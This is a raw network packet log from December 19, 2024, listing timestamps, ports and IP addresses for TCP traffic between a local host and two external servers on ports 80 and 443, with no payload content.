Dec 19, 2024 06:09:56.147923946 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.147931099 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.147967100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.147977114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.148009062 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.148753881 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.148807049 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.148809910 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.148845911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.148858070 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.148904085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.149329901 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.149384022 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.149403095 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.149651051 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.149709940 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.149740934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.149776936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.149787903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.149817944 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.150551081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.150602102 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.150607109 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.150644064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.150655031 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.150688887 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.151429892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.151479006 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.151485920 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.151520967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.151534081 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.151563883 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.152324915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.152379036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.152412891 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.152431965 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.152458906 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.153214931 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.153269053 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.153321028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.153356075 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.153367996 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.153399944 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.154114962 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.154166937 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.154230118 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.154280901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.159533024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.159568071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.159585953 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.159604073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.159606934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.159646988 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.159951925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.160007954 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.160042048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.160126925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.160839081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.160959005 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.192147970 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.245800018 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.301450968 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.301472902 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.317662954 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.317702055 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.317738056 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.317739964 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.317764997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.317771912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.317986965 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.318023920 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.318041086 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.318061113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.318063021 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.318104029 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.318804026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.318856001 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.319027901 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.319078922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.319129944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.319166899 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.319176912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.319214106 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.319916010 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.319968939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.320025921 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.320063114 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.320077896 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.320110083 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.320797920 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.320849895 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.320915937 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.320960999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.321388960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.321438074 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.321444035 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.321480036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.321491003 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.321521997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.322386026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.322421074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.322434902 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.322458029 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.322462082 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.322505951 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.323137045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.323185921 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.323191881 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.323227882 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.323239088 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.323271036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.324069023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.324110031 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.324122906 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.324157000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.324172020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.324199915 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.324917078 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.324971914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.324975014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.325007915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.325023890 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.325048923 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.325812101 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.325865030 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.325866938 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.325901985 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.325916052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.325942039 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.326668024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.326725960 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.326759100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.326793909 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.326806068 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.326836109 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.327603102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.327655077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.327658892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.327696085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.327711105 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.327735901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.328458071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.328509092 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.328516006 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.328552008 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.328563929 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.328598022 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.329341888 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.329391956 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.329412937 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.329461098 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.329464912 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.329509974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.330224037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.330276012 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.330324888 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.330359936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.330374002 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.330403090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.331124067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.331173897 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.331177950 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.331214905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.331222057 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.331255913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.332201004 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.332240105 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.332254887 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.332276106 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.332283020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.332315922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.332916021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.332969904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.333004951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.333029032 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.333056927 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.333825111 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.333859921 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.333878994 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.333913088 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.333950043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.333973885 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.334692955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.334745884 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.334748030 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.334780931 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.334784031 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.334826946 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.335592031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.335681915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.335716963 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.335728884 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.335767031 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.336519957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.336555004 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.336589098 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.336606979 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.337347984 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.337398052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.337402105 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.337436914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.337451935 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.337480068 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.338253021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.338306904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.338314056 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.338342905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.338356972 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.338390112 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.339149952 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.339207888 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.339433908 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.339485884 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.339521885 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.339534044 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.339572906 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.340308905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.340409040 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.340444088 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.340461969 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.340485096 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.341234922 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.341269016 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.341303110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.341322899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.341350079 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.342111111 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.342165947 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.342171907 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.342201948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.342206001 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.342240095 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.343139887 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.343194962 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.343194962 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.343230963 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.343240023 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.343275070 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.343858004 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.343918085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.343944073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.343980074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.344002962 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.344018936 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.344803095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.344856977 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.344856977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.344891071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.344902039 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.344939947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.345652103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.345695972 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.345702887 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.345737934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.345741034 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.345784903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.348359108 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.351644039 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.351680040 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.351713896 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.351730108 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.351767063 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.352087975 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.352140903 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.352175951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.352195978 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.352217913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.352955103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.353008986 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.360606909 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.360621929 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.360646963 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.360662937 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.360671997 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.360691071 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.360738993 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.360768080 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.360807896 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.403070927 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.403084040 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.403111935 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.403120995 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.403179884 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.403223991 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.403259039 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.403449059 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.511383057 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.511518002 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.511567116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.511620045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.511738062 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.511897087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.511948109 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.511984110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.512003899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.512048960 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.512717962 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.512819052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.513091087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.513127089 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.513164043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.513190985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.513197899 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.513233900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.513262987 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.513268948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.513351917 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.513376951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.513415098 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.513454914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.513484955 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.513498068 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.513899088 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.513952971 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.513953924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.513989925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.514029980 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.514029980 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.514784098 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.514838934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.514873028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.514883995 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.514883995 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.514981985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.515666008 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.515721083 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.515734911 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.515757084 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.515778065 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.515918970 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.516547918 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.516657114 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.516674995 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.516691923 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.516740084 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.516740084 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.517441034 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.517493963 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.517494917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.517530918 CET	80	49860	31.41.244.11	192.168.2.4
